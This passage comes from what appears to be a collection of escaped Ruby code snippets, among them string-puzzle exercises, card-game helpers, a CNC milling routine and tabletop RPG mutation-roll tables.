integerizer(temp_c**0.5) == true && summer([a,b,temp_c**0.5]) <= 1000\\n\\t\\t\\t\\tdora_will_be_a_good_doctor << [a,b,temp_c**0.5].sort\\n\\t\\t\\tend\\n\\t\\t\\tb += 1\\n\\t\\tend\\n\\t\\ta += 1\\n\\tend\\n\\t# dora_will_be_a_good_doctor.each do |mowingdora_2|\\n\\t# \\tif summer(mowingdora_2) <= 1000**2\\n\\t# \\t\\tlist << mowingdora_2\\n\\t# \\tend\\n\\t# end\\n\\t# list.each do |mowingdora|\\n\\t# \\tp mowingdora\\n\\t# \\tif mowingdora[0]**2 + mowingdora[1]**2 == mowingdora[2] #&& integerizer((mowingdora[2]**0.5)) == true\\n\\t# \\t\\tdora_will_be_a_good_doctor << [mowingdora[0], mowingdora[1], mowingdora[2]**0.5]\\n\\t# \\tend\\n\\t# end\\n\\t# p list\\n\\treturn dora_will_be_a_good_doctor\\n\\t# p list\\nend\",\n \"def pali_perm(str)\\n hash = Hash.new(0)\\n str.each_char {|ch| hash[ch] += 1 unless ch == ' '}\\n odd = false\\n hash.values.each do |value|\\n if value % 2 == 1\\n return false if odd\\n odd = true\\n end\\n end\\n true\\nend\",\n \"def straight\\n is_straight? ? high_card : 0\\n end\",\n \"def hufflepuff(list)\\nend\",\n \"def palindrome_permutation(str)\\n\\nend\",\n \"def rampant_repeats(s, h)\\n s.chars.map do |c|\\n if h[c]\\n c * h[c]\\n else\\n c\\n end\\n end.join(\\\"\\\")\\nend\",\n \"def fly_by(lamps, drone)\\n left = lamps[drone.length..-1]\\n result = lamps.replace(\\\"o\\\" * drone.length)\\n p result + left\\nend\",\n \"def anagrams_v_one(str1,str2)\\r\\n\\r\\n # elvis\\r\\n # levis\\r\\n # lives\\r\\n # lsevi\\r\\n anagrams = []\\r\\n count = 0\\r\\n until count == 120 #5*4*3*2*1 = 120 \\r\\n shuffled = str1.chars.shuffle\\r\\n if !anagrams.include?(shuffled)\\r\\n anagrams << shuffled\\r\\n count +=1 \\r\\n end\\r\\n end\\r\\n anagrams.include?(str2.chars)\\r\\n # anagrams\\r\\nend\",\n \"def anagrams_v_one(str1,str2)\\r\\n\\r\\n # elvis\\r\\n # levis\\r\\n # lives\\r\\n # lsevi\\r\\n anagrams = []\\r\\n count = 0\\r\\n until count == 120 #5*4*3*2*1 = 120 \\r\\n shuffled = str1.chars.shuffle\\r\\n if !anagrams.include?(shuffled)\\r\\n anagrams << shuffled\\r\\n count +=1 \\r\\n end\\r\\n end\\r\\n anagrams.include?(str2.chars)\\r\\n # anagrams\\r\\nend\",\n \"def cuddle\\n attempt = [0, 1]\\n hug = attempt.sample\\n end\",\n \"def play_like_a_dummy\\r\\n # very brutal algorithm , always play the first card\\r\\n #card = @cards_on_hand.pop\\r\\n #p @cards_on_hand.size\\r\\n card = @cards_on_hand[0]\\r\\n if card\\r\\n # check if the played card take something\\r\\n #@table_cards\\r\\n \\r\\n #@log.debug \\\"Alg: cards on table #{@table_cards}\\\"\\r\\n list = @core_game.which_cards_pick(card, @table_cards)\\r\\n #p \\\"which cards pick: card #{card}, table #{@table_cards.join(\\\",\\\")}, list #{list.size}\\\"\\r\\n result = [card, list[0]].flatten\\r\\n return result\\r\\n end\\r\\n raise \\\"Error cards on hand #{@cards_on_hand.join(',')}\\\" \\r\\n end\",\n \"def mill_impeller_axel(pCent_x, pCent_y, mirrored=false, pBegZ=0, pEndZ=nil)\\r\\n # # # # # # # # # # # # # #\\r\\n if pEndZ == nil\\r\\n pEndZ = drill_through_depth\\r\\n end\\r\\n pEndZ = 0 - pEndZ.abs\\r\\n \\r\\n print \\\"(mill_impeller_axel pCent_x=\\\", pCent_x, \\\" pCent_y=\\\", pCent_y, \\\" pBegZ=\\\", pBegZ, \\\" pEndZ=\\\", pEndZ, \\\")\\\\n\\\"\\r\\n print \\\"(shaft_diam=\\\", shaft_diam, \\\")\\\\n\\\"\\r\\n \\r\\n # ensure that we do not exceed the bit flute length\\r\\n # for the 1/16 inch bit.\\r\\n if (mill.curr_bit.max_mill_depth.abs < pEndZ.abs)\\r\\n pEndZ = 0 - mill.curr_bit.max_mill_depth.abs\\r\\n end\\r\\n \\r\\n \\r\\n if (mill.curr_bit.flute_smaller_than_shaft == true) and (mill.curr_bit.flute_len.abs < pEndZ.abs)\\r\\n # If I have a bit with a flute that is smaller\\r\\n # than the shaft I can not mill any deeper than\\r\\n # the flute so automatically adjust the max\\r\\n # depth to match the flute\\r\\n print \\\"(bit flute is not long enough for axel hole and shaft is larger than flute so setting hole size to flute_len)\\\\n\\\"\\r\\n pEndZ = 0 - mill.curr_bit.flute_len.abs\\r\\n end\\r\\n \\r\\n \\r\\n if (shaft_type == \\\"D\\\")\\r\\n # Have to reset cutout_diam to reflect\\r\\n # the smaller bit. \\r\\n mill.retract()\\r\\n print \\\"(L445 - shaft_diam = \\\", shaft_diam, \\\")\\\\n\\\"\\r\\n mill_DDShaft(mill, x = pCent_x,y=pCent_y, diam=shaft_diam, beg_z=pBegZ, end_z= pEndZ, adjust_for_bit_radius=true, mirrored=mirrored)\\r\\n else # round axel \\r\\n if mirrored == true\\r\\n tcy = vmirror(pCent_y)\\r\\n else\\r\\n tcy = pCent_y\\r\\n end\\r\\n\\r\\n mill.retract() \\r\\n aCircle = CNCShapeCircle.new(mill) \\r\\n print \\\"(ZZZZZZZZZZZZ mill_impeller_axel pBegZ=\\\", pBegZ, \\\" pEndZ=\\\", pEndZ,\\\")\\\\n\\\"\\r\\n aCircle.beg_depth = pBegZ \\r\\n aCircle.mill_pocket(\\r\\n pCent_x, \\r\\n tcy, \\r\\n shaft_diam, \\r\\n pEndZ , \\r\\n island_diam=0)\\r\\n \\r\\n \\r\\n end # axel choice\\r\\n mill.retract()\\r\\n end\",\n \"def mutation\\r\\n @population += @mutation.times.map do\\r\\n mask = 0\\r\\n 0.upto(@length-1) do |i|\\r\\n mask += 1<<i if rand < @flip\\r\\n end\\r\\n individual = @population[rand(@population.length)][:value]\\r\\n value = individual ^ mask\\r\\n # puts (\\\"%.#{@length}b\\\" % individual) + ' xor ' + (\\\"%.#{@length}b\\\" % mask) + ' --> ' + (\\\"%.#{@length}b\\\" % value)\\r\\n bear(value)\\r\\n end\\r\\n end\",\n \"def take_bath\\n #increment hygiene_points by 4\\n #return string \\\"♪ Rub-a-dub just relaxing in the tub ♫\\\"..\\n self.hygiene +=4\\n return \\\"♪ Rub-a-dub just relaxing in the tub ♫\\\"\\n end\",\n \"def prmutation(num)\\n factrl(num)\\nend\",\n \"def diamond_full(x)\\n 4.times do\\n add_tip\\n x.times do #Change length of side\\n move\\n turn_right\\n move\\n put_beeper\\n turn_left\\n end\\n adjust_for_tip\\n end\\n end\",\n \"def pirates_say_arrrrrrrrr(string)\\n\\n# Defines a method that takes one argument, a \\\"string\\\".\\n\\n to_return = \\\"\\\"\\n\\n# Creates a new variable and assigns it an empty string.\\n\\n add_next = false\\n\\n# Creates a new variable with a boolean value, which is initially set to 'false' as we will never add the first character (in this case 'R') to the output because the first character of any string never follows an 'r' or anything else!\\n\\n string.size.times do |index|\\n\\n# This calculates the string size and uses the returned value to loop the block of code that many times.\\n\\n# E.g. for \\\"Rare\\\" the string size is \\\"4\\\" so it will loop 4 times, i.e. over each character in the string.\\n\\n current_char = string[index]\\n\\n# Creates a new variable which is initially set to the value of the current character.\\n\\n# First iteration:\\n# => current_char = \\\"R\\\"\\n\\n# Second iteration:\\n# => current_char = \\\"a\\\"\\n\\n# etc\\n\\n to_return << current_char if add_next\\n# Updates to_return with the current_char only if add_next evaluates to true.\\n\\n# First iteration:\\n# => to_return << \\\"R\\\" if false\\n# => do nothing because add_next is false;\\n# => to_return is still \\\"\\\"\\n\\n# Second iteration:\\n# => to_return << \\\"a\\\" if true\\n# => add \\\"a\\\" to to_return because add_next is true\\n\\n# etc\\n\\n add_next = (current_char == \\\"r\\\" || current_char == \\\"R\\\")\\n# Updates add_next to true or false.\\n# add_next will update to true if the current character is either \\\"r\\\" or \\\"R\\\", otherwise it will remain false.\\n\\n# First iteration:\\n# => add_next = (\\\"R\\\" == \\\"r\\\" || \\\"R\\\" == \\\"R\\\")\\n# => add_next = (false || true)\\n# => add_next = true\\n\\n# Second iteration:\\n# => add_next = (\\\"a\\\" == \\\"r\\\" || \\\"a\\\" == \\\"R\\\")\\n# => add_next = (false || false)\\n# => add_next = false\\n\\n# etc\\n\\n end\\n\\n to_return\\n\\n# Returns the final value of the to_return variable.\\n\\nend\",\n \"def build_down_card\\n line = []\\n line[0] = \\\"\\\"\\n line[1] = \\\" o-------o\\\"\\n line[2] = \\\" |~~~~~~~|\\\"\\n line[3] = \\\" |~~~~~~~|\\\"\\n line[4] = \\\" |~~~~~~~|\\\"\\n line[5] = \\\" |~~~~~~~|\\\"\\n line[6] = \\\" |~~~~~~~|\\\"\\n line[7] = \\\" o-------o\\\"\\n line[8] = \\\"\\\"\\n line\\nend\",\n \"def build_down_card\\n line = []\\n line[0] = \\\"\\\"\\n line[1] = \\\" o-------o\\\"\\n line[2] = \\\" |~~~~~~~|\\\"\\n line[3] = \\\" |~~~~~~~|\\\"\\n line[4] = \\\" |~~~~~~~|\\\"\\n line[5] = \\\" |~~~~~~~|\\\"\\n line[6] = \\\" |~~~~~~~|\\\"\\n line[7] = \\\" o-------o\\\"\\n line[8] = \\\"\\\"\\n line\\nend\",\n \"def palindrone_perm(string)\\n char_hash = {}\\n \\n string.each_char do |char|\\n if char == \\\" \\\"\\n next\\n else\\n char = char.downcase\\n end\\n \\n if char_hash[char]\\n char_hash[char] += 1 \\n else\\n char_hash[char] = 1\\n end\\n end\\n \\n number_of_odds = 0\\n \\n char_hash.each do |key, value|\\n if value % 2 != 0\\n number_of_odds += 1\\n end\\n end\\n \\n return number_of_odds <= 1\\nend\",\n \"def flaw_mutations_determination(roll)\\n case roll\\n when 01..02\\n @@flaw_mutations << \\\"Abnormal Anxiety\\\"\\n when 03..04\\n @@flaw_mutations << \\\"Altered Digestive Tract\\\"\\n when 05..06\\n @@flaw_mutations << \\\"Baldness\\\"\\n when 07..17\\n @@flaw_mutations << \\\"Birth Defect\\\"\\n when 18..19\\n @@flaw_mutations << \\\"Blocked Sinuses\\\"\\n when 20..21\\n @@flaw_mutations << \\\"Chronic Acne\\\"\\n when 22..23\\n @@flaw_mutations << \\\"Chronic Dermatitis\\\"\\n when 24..25\\n @@flaw_mutations << \\\"Chronic IngrownHairs\\\"\\n when 26..27\\n @@flaw_mutations << \\\"Chronic Ulcers\\\"\\n when 28..29\\n @@flaw_mutations << \\\"Coronary Thrombosis\\\"\\n when 30..31\\n @@flaw_mutations << \\\"Degenerated Nervous System\\\"\\n when 32..33\\n @@flaw_mutations << \\\"Dizziness\\\"\\n when 34..35\\n @@flaw_mutations << \\\"Early Menopause (females only)\\\"\\n when 36..37\\n @@flaw_mutations << \\\"Excessive Lung Fluid\\\"\\n when 38..39\\n @@flaw_mutations << \\\"Exhaustion\\\"\\n when 40..41\\n @@flaw_mutations << \\\"Extensive Warts\\\"\\n when 42..43\\n @@flaw_mutations << \\\"Extreme Halitosis\\\"\\n when 44..45\\n @@flaw_mutations << \\\"Faulty Immune System\\\"\\n when 46\\n @@flaw_mutations << \\\"Flammable Tissues\\\"\\n when 47\\n @@flaw_mutations << \\\"Hemophilia\\\"\\n when 48..49\\n @@flaw_mutations << \\\"Hormone Disorder\\\"\\n when 50..51\\n @@flaw_mutations << \\\"Inadequate Nerve Endings\\\"\\n when 52\\n @@flaw_mutations << \\\"Increased Aging\\\"\\n when 53\\n @@flaw_mutations << \\\"Increased Flatulence\\\"\\n when 54..57\\n @@flaw_mutations << \\\"Intense Allergy\\\"\\n when 58..59\\n @@flaw_mutations << \\\"Male Menopause (males only)\\\"\\n when 60..61\\n @@flaw_mutations << \\\"Migraine Headaches\\\"\\n when 62..63\\n @@flaw_mutations << \\\"Osteoporosis\\\"\\n when 64..65\\n @@flaw_mutations << \\\"Permanent Rhinitis\\\"\\n when 66..67\\n @@flaw_mutations << \\\"Perpetual Hiccups\\\"\\n when 68..69\\n @@flaw_mutations << \\\"Pre-Senile Dementia\\\"\\n when 70..71\\n @@flaw_mutations << \\\"Psoriasis\\\"\\n when 72..73\\n @@flaw_mutations << \\\"Reactionary Scent\\\"\\n when 74\\n @@flaw_mutations << \\\"Repeat Paralysis\\\"\\n when 75\\n @@flaw_mutations << \\\"Sonic Intolerance\\\"\\n when 76..77\\n @@flaw_mutations << \\\"Sterility\\\"\\n when 78..79\\n @@flaw_mutations << \\\"Tapeworms\\\"\\n when 80..81\\n @@flaw_mutations << \\\"Tooth Decay\\\"\\n when 82..86\\n @@flaw_mutations << \\\"Toxic Susceptibility\\\"\\n when 87..88\\n @@flaw_mutations << \\\"Tranquilizer Agent\\\"\\n when 89..94\\n @@flaw_mutations << \\\"Visual Disorder\\\"\\n when 95..96\\n @@flaw_mutations << \\\"Voice Disorder\\\"\\n when 97..98\\n @@flaw_mutations << \\\"Weeping\\\"\\n when 99..00\\n @@flaw_mutations << \\\"Whistle Croup\\\"\\n end\\n end\",\n \"def diamond(i) # I hope I didn't name my variables\\n spaces_toggle = -1 # the same as the instruction\\n spaces = i/2 # This is MY algorithm !\\n bling_toggle = 1\\n bling = 1\\n (i).times do\\n spaces.times {print \\\" \\\"} \\n bling.times {print \\\"*\\\"}\\n spaces.times {print \\\" \\\"} \\n print \\\"\\\\n\\\"\\n spaces += 1 * spaces_toggle\\n bling += 2 * bling_toggle\\n if bling == i # Center of function\\n bling.times {print \\\"*\\\"}\\n print \\\"\\\\n\\\"\\n spaces += 1\\n bling -= 2\\n spaces_toggle = 1\\n bling_toggle = -1\\n end\\n end\\nend\",\n \"def ordv\\n large = Array.new([0,0,0,0,0,0,0,0,0,1])\\n (1..7830457).each do |n|# digit represents ,2^n\\n passover = 0\\n 9.downto(0).each do |i|\\n large[i] *= 2\\n large[i] += passover\\n if large[i] >= 10\\n large[i] %= 10\\n passover = 1\\n else\\n passover = 0\\n end\\n end\\n end\\n (28433 * large.join.to_i + 1)%100000000000\\nend\",\n \"def ghost_mutations_determination(roll)\\n case roll\\n when 1..4\\n @@ghost_mutations << \\\"Advanced Mind\\\"\\n when 5..6\\n @@ghost_mutations << \\\"Agony Sphere\\\"\\n when 7..8\\n @@ghost_mutations << \\\"Asphyxiation Zone\\\"\\n when 9..10\\n @@ghost_mutations << \\\"Aura of Protection\\\"\\n when 11\\n @@ghost_mutations << \\\"Breath Holding\\\"\\n when 12..13\\n @@ghost_mutations << \\\"Coma Inducement\\\"\\n when 14..15\\n @@ghost_mutations << \\\"Devastator Pulse\\\"\\n when 16..17\\n @@ghost_mutations << \\\"Displacement \\\"\\n when 18..19\\n @@ghost_mutations << \\\"Doom Sphere\\\"\\n when 20..21\\n @@ghost_mutations << \\\"Dread Zone\\\"\\n when 22..23\\n @@ghost_mutations << \\\"Earth Thump\\\"\\n when 24..27\\n @@ghost_mutations << \\\"Electrical Pulse\\\"\\n when 28..30\\n @@ghost_mutations << \\\"Electro MagneticPulse\\\"\\n when 31..37\\n @@ghost_mutations << \\\"Empathy\\\"\\n when 38..41\\n @@ghost_mutations << \\\"Energy Blade\\\"\\n when 42..45\\n @@ghost_mutations << \\\"Force Field\\\"\\n when 46..51\\n @@ghost_mutations << \\\"Heal Touch\\\"\\n when 52..56\\n @@ghost_mutations << \\\"Heat Pulse\\\"\\n when 57..58\\n @@ghost_mutations << \\\"Image Multiplication\\\"\\n when 59..60\\n @@ghost_mutations << \\\"Image Projection\\\"\\n when 61..62\\n @@ghost_mutations << \\\"Light Burst\\\"\\n when 63..64\\n @@ghost_mutations << \\\"Mental Mine\\\"\\n when 65..67\\n @@ghost_mutations << \\\"Mental Screen\\\"\\n when 68..79\\n @@ghost_mutations << \\\"Mind Crush\\\"\\n when 80..81\\n @@ghost_mutations << \\\"Mind Waste\\\"\\n when 82..83\\n @@ghost_mutations << \\\"Peeling Radius\\\"\\n when 84..85\\n @@ghost_mutations << \\\"Radiation Detection\\\"\\n when 86\\n @@ghost_mutations << \\\"Radioactive Pulse\\\"\\n when 87\\n @@ghost_mutations << \\\"Reserve Heart\\\"\\n when 88..89\\n @@ghost_mutations << \\\"Reserve Mind\\\"\\n when 90\\n @@ghost_mutations << \\\"Sonic Wave Radius\\\"\\n when 91\\n @@ghost_mutations << \\\"Stun Ray\\\"\\n when 92..96\\n @@ghost_mutations << \\\"Telekinesis\\\"\\n when 97..00\\n @@ghost_mutations << \\\"Telepathy\\\"\\n end\\nend\",\n \"def sharp; accidental; end\",\n \"def smart_aces hand\\n# Adjusts the value of \\\"Ace\\\" elements to be either 1 or 11 depending on the hand total\\n\\thand_total = hand.reduce :+\\n\\tif hand_total < 12 && hand_total > 2\\n\\t\\thand.map! do |card|\\n\\t\\t\\tif card == 1\\n\\t\\t\\t\\t11\\n\\t\\t\\telse\\n\\t\\t\\t\\tcard\\n\\t\\t\\tend\\n\\t\\tend\\n\\telsif hand_total > 21\\n\\t\\thand.map! do |card|\\n\\t\\t\\tif card == 11\\n\\t\\t\\t\\t1\\n\\t\\t\\telse\\n\\t\\t\\t\\tcard\\n\\t\\t\\tend\\n\\t\\tend\\n\\telsif hand_total == 2\\n\\t\\thand[0] = 11\\n\\tend\\n\\nend\",\n \"def cracklepop3\\n (1..100).zip(Array.new 100, nil).map do |i,x|\\n [i%3, i%5].map.with_index do |y, j| \\n x = x.to_s + ['crackle','pop'][j] if y==0\\n end\\n x ? x : i\\n end\\nend\",\n \"def pirates_say_arrrrrrrrr(string)\\n new_string = \\\"\\\"\\n\\n (string.size-1).times do |index|\\n current_character = string[index]\\n next_character = string[index + 1]\\n\\n new_string << next_character if (current_character == \\\"r\\\" || current_character == \\\"R\\\")\\n end\\n new_string\\nend\",\n \"def change_from_plus2_probability(card)\\n p = @stack.select { |c| c.figure == :wild4 || c.figure == :plus2 || c.figure == :reverse && c.color == card.color }.length.to_f\\n @prob_cache[3000 + card.code] ||= has_card_with_property p\\n end\",\n \"def pirates_say_arrrrrrrrr(string)\\n to_return = \\\"\\\"\\n next_letter = false\\n string.size.times do |letter|\\n current_letter = string[letter]\\n to_return << current_letter if next_letter\\n next_letter = (current_letter == \\\"r\\\" or current_letter == \\\"R\\\")\\n end\\n to_return\\n \\nend\",\n \"def upc_a_with_composite_symbology; end\",\n \"def pirates_say_arrrrrrrrr(string)\\nresult = \\\"\\\"\\n string.size.times { |i| result << string[i+1] if string[i] == \\\"r\\\" || string[i] == \\\"R\\\"}\\nreturn result\\nend\",\n \"def bathroom_code(input)\\n x, y = [0, 0]\\n\\n number_pad = {\\n 1 => [-1, 1],\\n 2 => [0, 1],\\n 3 => [1, 1],\\n 4 => [-1, 0],\\n 5 => [0, 0],\\n 6 => [1, 0],\\n 7 => [-1, -1],\\n 8 => [0, -1],\\n 9 => [1, -1]\\n }\\n\\n code = []\\n\\n input.each do |button|\\n button.each_char do |char|\\n if char == \\\"U\\\" && y < 1\\n y += 1\\n elsif char == \\\"D\\\" && y > -1\\n y -= 1\\n elsif char == \\\"R\\\" && x < 1\\n x += 1\\n elsif char == \\\"L\\\" && x > -1\\n x -= 1\\n end\\n end\\n code << number_pad.key([x, y])\\n end\\n code.join\\nend\",\n \"def get_hint(secret, guess)\\n bulls = 0\\n cows = 0\\n\\n tracker = Hash.new(0)\\n secret.each_char { |char| tracker[char] += 1 }\\n guess.each_char.with_index do |char, i|\\n if secret[i] == guess[i]\\n bulls += 1\\n if tracker[char] > 0\\n tracker[char] -= 1\\n else\\n cows -= 1\\n end\\n elsif tracker[char] > 0\\n tracker[char] -= 1\\n cows += 1\\n end\\n end\\n\\n \\\"#{bulls}A#{cows}B\\\"\\nend\",\n \"def try_to_loan(loan)\\n atms = Array.new(100) { |i| i.even? ? 2**i : -2**i }\\n signs = atms.dup\\n moves = []\\n while loan != 0\\n # binding.pry\\n first_bigger, method = next_value(loan, atms)\\n break if first_bigger == false\\n if method == :cut\\n moves << signs.index(atms[first_bigger])\\n loan -= atms.delete_at(first_bigger)\\n moves << signs.index(atms[first_bigger - 1]) if loan != 1\\n loan -= atms.delete_at(first_bigger - 1) if loan != 1\\n else\\n moves << signs.index(atms[first_bigger - 2])\\n loan -= atms.delete_at(first_bigger - 2)\\n end\\n p moves\\n p loan\\n end\\nend\",\n \"def onomatopoeic(raindrop)\\n PHONEMES.reduce nil do |morpheme, (factor, phoneme)|\\n if raindrop.modulo(factor).zero?\\n [morpheme, phoneme].join\\n else\\n morpheme\\n end\\n end\\n end\",\n \"def adjacent_allies_of(pokemon)\\n allies_of(pokemon, true)\\n end\",\n \"def magiceightball\\n\\t\\t answers = [\\\"outlook not so good\\\", \\\"cloudy, ask again later\\\", \\\"it is meant to be\\\", \\\"you may rely on it\\\"]\\n\\t\\t @result = answers[Random.rand(4)]\\n\\tend\",\n \"def pirates_say_arrrrrrrrr(string) #defines a method with 1 parameter\\n answer = \\\"\\\" #sets up a blank variable for the answer\\n add_next_letter = false #sets up a variable with false\\n string.length.times do |count| #finds length of string and creates a loop to work that many times\\n the_character = string[count] #puts the count character into the the_character\\n answer << the_character if add_next_letter #appends the answer if\\n add_next_letter = (the_character == \\\"r\\\" || the_character == \\\"R\\\") #adds in next letter if the next character is R or R.\\n end #ends the loop\\n answer #returns the answer\\nend\",\n \"def permute(pt, perm)\\n # split the plaintext sting into an array of strings representing bits\\n b = pt.hex.to_s(2).split(//)\\n # pad the array with leading 0's\\n while (b.length < 16)\\n b.insert(0,\\\"0\\\")\\n end\\n # create the output ciphertext array of bits\\n ct = []\\n # for each bit set the ciphertext bit to the permuted value\\n b.each_with_index { |d,i| ct[i] = b[perm[i] - 1] }\\n # turn the array of strings back into a hex string\\n return ct.join.to_i(2).to_s(16)\\nend\",\n \"def vulnerable_undertrick_points\\n if !made?\\n p = -100 * modifier\\n if result < -1\\n return p += (result + 1) * 300 if doubled?\\n return p += (result + 1) * 600 if redoubled?\\n return p += (result + 1) * 100\\n end\\n p\\n else\\n 0\\n end\\n end\",\n \"def minor_mutations_determination(roll)\\n case roll\\n when 1..16\\n def blood_color_alteration(roll) # Hub Rules p. 77\\n case roll\\n when 1\\n \\\"pink\\\"\\n when 2\\n \\\"lavender\\\"\\n when 3\\n \\\"violet\\\"\\n when 4\\n \\\"purple\\\"\\n when 5\\n \\\"white\\\"\\n when 6\\n \\\"copper\\\"\\n when 7\\n \\\"amber\\\"\\n when 8\\n \\\"lime green\\\"\\n when 9\\n \\\"aquamarine\\\"\\n when 10\\n \\\"emerald\\\"\\n when 11\\n \\\"olive\\\"\\n when 12\\n \\\"blue\\\"\\n when 13\\n \\\"green\\\"\\n when 14\\n \\\"turquoise\\\"\\n when 15\\n \\\"black\\\"\\n when 16\\n \\\"orange\\\"\\n when 17\\n \\\"gray\\\"\\n when 18\\n \\\"yellow\\\"\\n when 19\\n \\\"silver\\\"\\n when 20\\n \\\"clear\\\"\\n end\\n end\\n\\n blood_color = blood_color_alteration(d(20))\\n\\n @@minor_mutations << \\\"Blood Color Alteration: mutant's blood is #{blood_color}-colored.\\\"\\n when 17..21\\n @@minor_mutations << \\\"Eye Lights: at will, mutant's eyes produce bright light beams, like spotlights, within 20m.\\\"\\n when 22..23\\n @@minor_mutations << \\\"Hibernation: mutant can sleep in a near-death state for up to 5 months, requiring no food or water.\\\"\\n when 24..26\\n @@minor_mutations << \\\"Longevity: Mutant ages at 1/2 typical rate.\\\"\\n when 27..30\\n @@minor_mutations << \\\"Nutriment Cache: mutant's body stores 40 days' worth of supplemental food. Cache refilled by 4 days of full meals.\\\"\\n when 31..33\\n @@minor_mutations << \\\"Offspring Link: an unbreakable telepathic link exists between mutant and parents or children. Only emotions or feelings can be communicated.\\\"\\n when 34..91\\n def physical_alterations_mutations(roll) # Hub Rules p. 77-78\\n case roll\\n when 1\\n physical_alteration = \\\"Three nostrils\\\"\\n @@appearance = [@@appearance - d(3), 1].max\\n when 2\\n physical_alteration = \\\"Extra set of ears\\\"\\n @@character_notes << \\\"2x hearing range; 2x dmg from sonic attacks\\\"\\n @@appearance = [@@appearance - (d(4) + d(4)), 1].max\\n when 3\\n physical_alteration = \\\"Two mouths, one above the other\\\"\\n @@appearance = [@@appearance - d(6), 1].max\\n when 4\\n physical_alteration = \\\"Six fingers per hand.\\\"\\n when 5\\n physical_alteration = \\\"Six toes per foot.\\\"\\n when 6\\n physical_alteration = \\\"Extra breast.\\\"\\n when 7\\n physical_alteration = \\\"Nose grew on forehead.\\\"\\n @@appearance = [@@appearance - (d(6) + d(6)), 1].max\\n when 8\\n physical_alteration = \\\"Pointed ears.\\\"\\n when 9\\n physical_alteration = \\\"Extra joint in fingers and toes.\\\"\\n when 10\\n physical_alteration = \\\"Third eye between others.\\\"\\n @@appearance = [@@appearance - d(6), 1].max\\n @@accuracy += (d(4) + d(4))\\n when 11\\n physical_alteration = \\\"Only four fingers per hand.\\\"\\n when 12\\n physical_alteration = \\\"Only four toes per foot.\\\"\\n when 13\\n physical_alteration = \\\"Legs 1/4 longer than usual.\\\"\\n @@appearance = [@@appearance - d(3), 1].max\\n @@movement_rate_base += 2\\n when 14\\n extra_ribs = (d(4) + d(4))\\n physical_alteration = \\\"Extra #{extra_ribs} pairs of ribs.\\\"\\n @@appearance = [@@appearance - extra_ribs, 1].max\\n @@endurance += (extra_ribs * 2)\\n @@character_height += (extra_ribs * 4)\\n when 15\\n physical_alteration = \\\"Extra set of lungs.\\\"\\n @@endurance && @@strength += 10\\n @@movement_rate_base += 1\\n when 16\\n physical_alteration = \\\"Stubby tail, #{5 + d(12)} cm long.\\\"\\n when 17\\n physical_alteration = \\\"Arms twice as long as normal.\\\"\\n @@character_notes << \\\"In melee: +1 initiative, +5 SV, +4 dmg\\\" # add SV and dmg bonus to ALL melee attacks...\\n # @@initiative += 1 Since bonus applies to melee only, left it in the notes instead of adjusting base initiative value.\\n @@appearance = [@@appearance - d(6), 1].max\\n when 18\\n physical_alteration = \\\"Longer neck #{(20 + d(20))} cm longer than typical.\\\"\\n @@appearance = [@@appearance - d(2), 1].max\\n when 19\\n def bulbous_head_mutation(roll)\\n case roll\\n when 1..77\\n ghost_mutations_rolls += d(2)\\n physical_alteration = \\\"Bulbous head with ghost mutations.\\\"\\n when 78..100\\n physical_alteration = \\\"Bulbous head.\\\"\\n end\\n @@appearance = [@@appearance - (d(6) + d(6)), 1].max\\n @@intelligence += (d(20) + d(20))\\n end\\n\\n bulbous_head_mutation(d(100))\\n\\n when 20\\n physical_alteration = \\\"Sunken, skull-like eye sockets.\\\"\\n @@appearance = [@@appearance - (d(6) + 1), 1].max\\n when 21\\n physical_alteration = \\\"Bulbous eyes.\\\"\\n @@appearance = [@@appearance - (d(6) + 2), 1].max\\n @@initiative += 1\\n when 22\\n cone_head_height = (d(20) + d(20))\\n physical_alteration = \\\"Cone head #{cone_head_height} taller than typical.\\\"\\n @@appearance = [@@appearance - (cone_head_height / 4), 1].max\\n @@intelligence += d(4)\\n @@character_height += cone_head_height\\n when 23\\n physical_alteration = \\\"Oversized jaws.\\\"\\n @@appearance = [@@appearance - (d(3) + 1), 1].max\\n @@character_notes << \\\"Bite attack d6 + strength bonus\\\"\\n when 24\\n physical_alteration = \\\"Hunchbacked.\\\"\\n @@appearance = [@@appearance - (d(6) + d(6)), 1].max\\n @@movement_rate_base -= 0.5\\n @@endurance += (d(6) + d(6) + d(6))\\n when 25\\n physical_alteration = \\\"Deeply wrinkled skin.\\\"\\n @@appearance = [@@appearance - (d(6) + d(6)), 1].max\\n when 26\\n physical_alteration = \\\"Especially smooth, firm skin.\\\"\\n @@appearance += (d(6) + d(6))\\n when 27\\n physical_alteration = \\\"Disheveled body/face.\\\"\\n @@movement_rate_base -= 0.5\\n @@agility = [@@agility - d(6), 1].max\\n @@appearance = [@@appearance - d(6), 1].max\\n when 28\\n physical_alteration = \\\"Very balanced body/face\\\"\\n @@movement_rate_base += 1\\n @@agility += d(6)\\n @@accuracy += d(6)\\n @@strength += d(6)\\n @@appearance += (d(6) + d(6))\\n when 29\\n physical_alteration = \\\"Chafing voice.\\\"\\n when 30\\n physical_alteration = \\\"Superior hand-eye coordination.\\\"\\n @@accuracy += (d(6) + d(6) + d(6))\\n when 31\\n physical_alteration = \\\"Elongated chin\\\"\\n @@appearance = [@@appearance - d(3), 1].max\\n when 32\\n physical_alteration = \\\"Mohawk-like ridge of hair down spine.\\\"\\n when 33\\n physical_alteration = \\\"Beard grows in fork pattern (males only)\\\"\\n when 34\\n physical_alteration = \\\"Bony studs cover body\\\"\\n @@appearance = [@@appearance - (d(6) + d(6)), 1].max\\n @@dv -= (d(6) + d(6))\\n when 35\\n physical_alteration = \\\"Skin and hair constantly oily.\\\"\\n @@appearance = [@@appearance - d(3), 1].max\\n when 36\\n physical_alteration = \\\"Spiked forearms\\\"\\n @@appearance = [@@appearance - d(6), 1].max\\n @@attacks << {:attack_mode => \\\"Spiked forearm smash\\\", :SV => 3, :rate => 2, :range => 0, :damage => \\\"d10\\\", :ammo => \\\"infinite\\\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \\\"77\\\", :notes => \\\"Replaces standard punch.\\\"}\\n when 37\\n physical_alteration = \\\"Increased immunity to alcohol - needs 2x to feel effects.\\\"\\n when 38\\n physical_alteration = \\\"Sonic absorption organ, 1/2 dmg from all sonic attacks.\\\"\\n when 39\\n physical_alteration = \\\"Spike on forehead #{5 + d(10)} cm long.\\\"\\n @@appearance = [@@appearance - d(6), 1].max\\n @@attacks << {:attack_mode => \\\"Forehead spike\\\", :SV => 3, :rate => 1, :range => 0, :damage => \\\"d12\\\", :ammo => \\\"infinite\\\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => 